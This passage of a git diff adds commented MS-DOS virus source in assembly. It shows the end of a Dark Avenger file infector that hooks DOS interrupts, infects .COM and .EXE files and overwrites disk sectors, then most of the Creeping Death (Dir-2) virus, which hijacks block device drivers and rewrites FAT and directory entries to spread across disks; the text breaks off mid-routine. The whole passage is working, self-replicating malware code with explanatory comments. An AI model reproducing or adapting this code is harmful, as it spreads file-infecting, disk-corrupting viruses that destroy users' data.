cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, which + ;contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.d2.asm b/MSDOS/Virus.MSDOS.Unknown.d2.asm new file mode 100644 index 00000000..805fa22e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.d2.asm @@ -0,0 +1,563 @@ +; Dark Angel's comments: I spent my entire waking hours looking at this virus. +; I love it. It is my life. I worship the drive it +; infects. Take a look at it. Let not my troubles be +; in vain. Why did I do this? I sacrifice my life for +; the benefit of 40Hex. If you don't read this, I'm +; gonna go join [NuKE]. + +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + +dir_2 segment byte public + assume cs:dir_2, ds:dir_2 + + org 100h + +start: + mov sp,600h ; Set up the stack pointer + inc word ptr counter ; Generation counter + xor cx,cx + mov ds,cx ; DS points to interrupt table + lds ax, ds:[0c1h] ; Find interrupt 30h + add ax,21h ; Change it to Int 21h + push ds ; Save it on stack for use by + push ax ; subroutine "jump" + mov ah,30h ; Get DOS version + call jump + cmp al,4 ; DOS 4.X+ : SI = 0 + sbb si,si ; DOS 2/3 : SI = -1 + mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to + ; "never accessed" + mov bx,60h ; Adjust memory in ES to + mov ah,4ah ; BX paragraphs. + call jump + + mov ah,52h ; Get DOS List of Lists + call jump ; to ES:BX + push es:[bx-2] ; Save Segment of first MCB + lds bx,es:[bx] ; DS:BX -> 1st DPB + ; (Drive parameter block) +search: mov ax,[bx+si+15h] ; Get segment of device driver + cmp ax,70h ; Is it CONFIG? (I think) + jne next ; If not, try again + xchg ax,cx ; Move driver segment to CX + mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt + mov di,[bx+si+13h] ; Save offset of device driver + ; Original device driver + ; address in CX:DI + mov [bx+si+13h],offset header ; Replace with our own + mov [bx+si+15h],cs ; (header) +next: lds bx,[bx+si+19h] ; Get next device block + cmp bx,-1 ; Is it the last one? + jne search ; If not, search it + jcxz install + + pop ds ; Restore segment of first + mov ax,ds ; MCB + add ax,ds:[3] ; Go to next MCB + inc ax ; AX = segment next MCB + mov dx,cs ; DX = MCB owning current + dec dx ; program + cmp ax,dx ; Are these the same? + jne no_boot ; If not, we are not currently + ; in the middle of a reboot + add word ptr ds:[3],61h ; Increase length owned by + ; MCB by 1552 bytes +no_boot: mov ds,dx ; DS = MCB owning current + ; program + mov word ptr ds:[1],8 ; Set owner = DOS + + mov ds,cx ; DS = segment of original + ; device driver + les ax,[di+6] ; ES = offset int handler + ; AX = offset strategy entry + mov word ptr cs:str_block,ax ; Save entry point + mov word ptr cs:int_block,es ; And int block for use in + ; function _in + cld ; Scan for the write + mov si,1 ; function in the +scan: dec si ; original device driver + lodsw + cmp ax,1effh + jne scan + mov ax,2cah ; Wicked un-yar place o' + cmp [si+4],ax ; doom. + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 ; Save address of patch + stosw ; area so it can be changed + xchg ax,si ; later. + mov di,offset i13org ; This is in the stack, but + cli ; it is used by "i13pr" + movsw + movsw + + mov dx,0c000h ; Scan for hard disk ROM + ; Start search @ segment C000h +fdsk1: mov ds,dx ; Load up the segment + xor si,si ; atart at offset 0000h + lodsw ; Scan for the signature + cmp ax,0aa55h ; Is it the signature? + jne fdsk4 ; If not, change segment + cbw ; clear AH + lodsb ; load a byte to AL + mov cl,9 + sal ax,cl ; Shift left, 0 filled +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp word ptr [si+2],4ch + jne fdsk3 + push dx ; Save the segment + push [si+4] ; and offset on stack + jmp short death ; for use by i13pr + +install: int 20h +file: db "c:",255,0 +fdsk3: inc si ; Increment search offset + cmp si,ax ; If we are not too high, + jb fdsk2 ; try again +fdsk4: inc dx ; Increment search segment + cmp dh,0f0h ; If we are not in high + jb fdsk1 ; memory, try again + + sub sp,4 ; effectively push dummy vars. +death: push cs ; on stack for use by i13pr + pop ds + mov bx,ds:[2ch] ; Get environment from PSP + mov es,bx + mov ah,49h ; Release it (to save memory) + call jump + xor ax,ax + test bx,bx ; Is BX = 0? + jz boot ; If so, we are booting now + mov di,1 ; and not running a file +seek: dec di ; Search for end of + scasw ; the environment block + jne seek + lea si,[di+2] ; SI points to filename + jmp short exec ; (in DOS 3.X+) + ; Execute that file +boot: mov es,ds:[16h] ; get PSP of parent + mov bx,es:[16h] ; get PSP of parent + dec bx ; go to its MCB + xor si,si +exec: push bx + mov bx,offset param ; Set up parameter block + ; for EXEC function + mov [bx+4],cs ; segment to command line + mov [bx+8],cs ; segment to 1st FCB + mov [bx+12],cs ; segment to 2nd FCB + pop ds + push cs + pop es + + mov di,offset f_name + push di ; Save filename offset + mov cx,40 ; Copy the filename to + rep movsw ; the buffer + push cs + pop ds + + mov ah,3dh ; Handle open file + mov dx,offset file ; "c:",0 + call jump + pop dx ; DS:DX -> filename + + mov ax,4b00h ; Load and Execute + call jump ; ES:BX = param block + mov ah,4dh ; Get errorlevel + call jump + mov ah,4ch ; Terminate + +jump: pushf ; Simulate an interrupt 21h + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 ; Write AL sectors from ES:BX + jmp dword ptr cs:[i13org] ; to track CH, sector CL, + ; head DH, drive DL + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es ; Move segment of parameter + pop ds ; block to DS + mov al,[bx+2] ; [bx+2] holds command code + + cmp al,4 ; Input (read) + je input + cmp al,8 ; Output (write) + je output + cmp al,9 ; Output (write) with verify + je output + + call in_ ; Call original device + cmp al,2 ; Request build BPB + jne ppp ; If none of the above, exit + lds si,[bx+12h] ; DS:SI point to BPB table + mov di,offset bpb_buf ; Replace old pointer with + mov es:[bx+12h],di ; a pointer to our own + mov es:[bx+14h],cs ; BPB table + push es ; Save segment of parameters + push cs + pop es + mov cx,16 ; Copy the old BPB table to + rep movsw ; our own + pop es ; Restore parameter segment + push cs + pop ds + mov al,[di+2-32] ; AL = sectors per allocation + cmp al,2 ; unit. If less than + adc al,0 ; 2, increment + cbw ; Extend sign to AH (clear AH) + cmp word ptr [di+8-32],0 ; Is total number sectors = 0? + je m32 ; If so, big partition (>32MB) + sub [di+8-32],ax ; Decrease space of disk by + ; one allocation unit(cluster) + jmp short ppp ; Exit +m32: sub [di+15h-32],ax ; Handle large partitions + sbb word ptr [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf ; We are outta here! + +output: mov cx,0ff09h + call check ; is it a new disk? + jz inf_sec ; If not, go away + call in_ ; Call original device handler + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 ; Restore the stack + jmp short ppp ; Leave device driver + +input: call check ; Is it a new disk? + jz read ; If not, leave +inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ + cld + lea si,[bx+0eh] ; Load from buffer address + mov cx,8 ; Save device driver request +save: lodsw ; on the stack + push ax + loop save + mov word ptr [bx+14h],1 ; Starting sector number = 1 + ; (Read 1st FAT) + call driver ; Read one sector + jnz read_ ; If error, exit + mov byte ptr [bx+2],2 ; Otherwise build BPB + call in_ ; Have original driver do the + ; work + lds si,[bx+12h] ; DS:SI points to BPB table + mov ax,[si+6] ; Number root directory entries + add ax,15 ; Round up + mov cl,4 + shr ax,cl ; Divide by 16 to find sectors + ; of root directory + mov di,[si+0bh] ; DI = sectors/FAT + add di,di ; Double for 2 FATs + stc ; Add one for boot record + adc di,ax ; Add sector size of root dir + push di ; to find starting sector of + ; data (and read) + cwd ; Clear DX + mov ax,[si+8] ; AX = total sectors + test ax,ax ; If it is zero, then we have + jnz more ; an extended partition(>32MB) + mov ax,[si+15h] ; Load DX:AX with total number + mov dx,[si+17h] ; of sectors +more: xor cx,cx + sub ax,di ; Calculate FAT entry for last + ; sector of disk + sbb dx,cx + mov cl,[si+2] ; CL = sectors/cluster + div cx ; AX = cluster # + cmp cl,2 ; If there is more than 1 + sbb ax,-1 ; cluster/sector, add one + push ax ; Save cluster number + call convert ; AX = sector number to read + ; DX = offset in sector AX + ; of FAT entry + ; DI = mask for EOF marker + mov byte ptr es:[bx+2],4 ; INPUT (read) + mov es:[bx+14h],ax ; Starting sector = AX + call driver ; One sector only +again: lds si,es:[bx+0eh] ; DS:SI = buffer address + add si,dx ; Go to FAT entry + sub dh,cl ; Calculate a new encryption + adc dx,ax ; value + mov word ptr cs:gad+1,dx ; Change the encryption value + cmp cl,1 ; If there is 0 cluster/sector + je small_ ; then jump to "small_" + mov ax,[si] ; Load AX with offset of FAT + ; entry + and ax,di ; Mask it with value from + ; "convert" then test to see + ; if the sector is fine + cmp ax,0fff7h ; 16 bit reserved/bad + je bad + cmp ax,0ff7h ; 12 bit reserved/bad + je bad + cmp ax,0ff70h ; 12 bit reserved/bad + jne ok +bad: pop ax ; Tried to replicate on a bad + dec ax ; cluster. Try again on a + push ax ; lower one. + call convert ; Find where it is in the FAT + jmp short again ; and try once more +small_: not di ; Reverse mask bits + and [si],di ; Clear other bits + pop ax ; AX = cluster number + push ax + inc ax ; Need to do 2 consecutive + push ax ; bytes + mov dx,0fh + test di,dx + jz here + inc dx ; Multiply by 16 + mul dx +here: or [si],ax ; Set cluster to next + pop ax ; Restore cluster of write + call convert ; Calculate buffer offset + mov si,es:[bx+0eh] ; Go to FAT entry (in buffer) + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di ; DI = mask from "convert" + dec dx + and dx,di ; Yerg! + not di + and [si],di + or [si],dx ; Set [si] to DI + + cmp ax,dx ; Did we change the FAT? + pop ax ; i.e. Are we already on this + pop di ; disk? + mov word ptr cs:pointer+1,ax ; Our own starting cluster + je _read_ ; If we didn't infect, then + ; leave the routine. Oh + ; welp-o. + mov dx,[si] + push ds + push si + call write ; Update the FAT + pop si + pop ds + jnz _read_ ; Quit if there's an error + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx ; Multiply by sectors/cluster + ; to find the sector of the + ; write + add ax,di + adc dx,0 + push es + pop ds + mov word ptr [bx+12h],2 ; Byte/sector count + mov [bx+14h],ax ; Starting sector # + test dx,dx + jz less + mov word ptr [bx+14h],-1 ; Flag extended partition + mov [bx+1ah],ax ; Handle the sector of the + mov [bx+1ch],dx ; extended partition +less: mov [bx+10h],cs ; Transfer address segment + mov [bx+0eh],100h ; and the offset (duh) + call write ; Zopy ourselves! + ; (We want to travel) +_read_: std + lea di,[bx+1ch] ; Restore device driver header + mov cx,8 ; from the stack +load: pop ax + stosw + loop load +_read: call in_ ; Call original device handler + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] ; Bytes/Sector + lds si,es:[bx+0eh] ; DS:SI = pointer to buffer + sal di,cl ; Multiply by 512 + ; DI = byte count + xor cl,cl + add di,si ; Go to address in the buffer + xor dl,dl ; Flag for an infection in + ; function find + push ds + push si + call find ; Infect the directory + jcxz no_inf + call write ; Write it back to the disk + and es:[bx+4],byte ptr 07fh ; Clear error bit in status + ; word +no_inf: pop si + pop ds + inc dx ; Flag for a decryption in + ; function find + call find ; Return right information to + ; calling program + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] ; Check filename extension + cmp ax,"XE" ; in directory structure + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on +found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word + jnz go_on ; to see if it is too big + test [si+1dh],03ff8h ; <2048B ; Check file size low word + jz go_on ; to see if it is too small + test [si+0bh],byte ptr 1ch ; Check attribute for subdir, + jnz go_on ; volume label or system file + test dl,dl ; If none of these, check DX + jnz rest ; If not 0, decrypt +pointer: mov ax,1234h ; mov ax, XX modified elsewhere + cmp ax,[si+1ah] ; Check for same starting + ; cluster number as us + je go_on ; If it is, then try another + xchg ax,[si+1ah] ; Otherwise make it point to + ; us. +gad: xor ax,1234h ; Encrypt their starting + ; cluster + mov [si+14h],ax ; And put it in area reserved + ; by DOS for no purpose + loop go_on ; Try another file +rest: xor ax,ax ; Disinfect the file + xchg ax,[si+14h] ; Get starting cluster + xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster + mov [si+1ah],ax ; and put it back +go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1 + dw offset gad+1 ; Change encryption and + add si,32 ; go to next file + cmp di,si ; If it is not past the end of + jne find ; the buffer, then try again + ret ; Otherwise quit + +check: mov ah,[bx+1] ; ah = unit code (block device + ; only) +drive: cmp ah,-1 ; cmp ah, XX can change. + ; Compare with the last call + ; -1 is just a dummy + ; impossible value that will + ; force the change to be true + mov byte ptr cs:[drive+2],ah ; Save this call's drive + jne changed ; If not the same as last call + ; media has changed + push [bx+0eh] ; If it is the same physical + ; drive, see if floppy has + ; been changed + mov byte ptr [bx+2],1 ; Tell original driver to do a + call in_ ; media check (block only) + cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if + pop [bx+0eh] ; media has not been changed + mov [bx+2],al ; Restore command code +changed: ret ; CF,ZF set if media has not + ; been changed, not set if + ; has been changed or we don't + ; know +write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to + jae in_ ; original device handler + ; and return to caller + mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT + mov si,70h + mov ds,si ; DS = our segment +modify: mov si,1234h ; Address is changed elsewhere + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in_ ; Call original device handler + pop [si+2] + pop [si] + ret + +driver: mov word ptr es:[bx+12h],1 ; One sector +in_: ; in_ first calls the strategy + ; of the original device + ; driver and then calls the + ; interrupt handler + db 09ah ; CALL FAR PTR +str_block: + dw ?,70h ; address + db 09ah ; CALL FAR PTR +int_block: + dw ?,70h ; address + test es:[bx+4],byte ptr 80h ; Was there an error? + ret + +convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT + jae fat_16 ; 0FF0h = reserved cluster + mov si,3 ; 12 bit FAT + xor word ptr cs:[si+gad-1],si ; Change the encryption value + mul si ; Multiply by 3 and + shr ax,1 ; divide by 2 + mov di,0fffh ; Mark it EOF (low 12 bits) + jnc cont ; if it is even, continue + mov di,0fff0h ; otherwise, mark it EOF (high + jmp short cont ; 12 bits) and then continue +fat_16: mov si,2 ; 16 bit FAT + mul si ; Double cluster # + mov di,0ffffh ; Mark 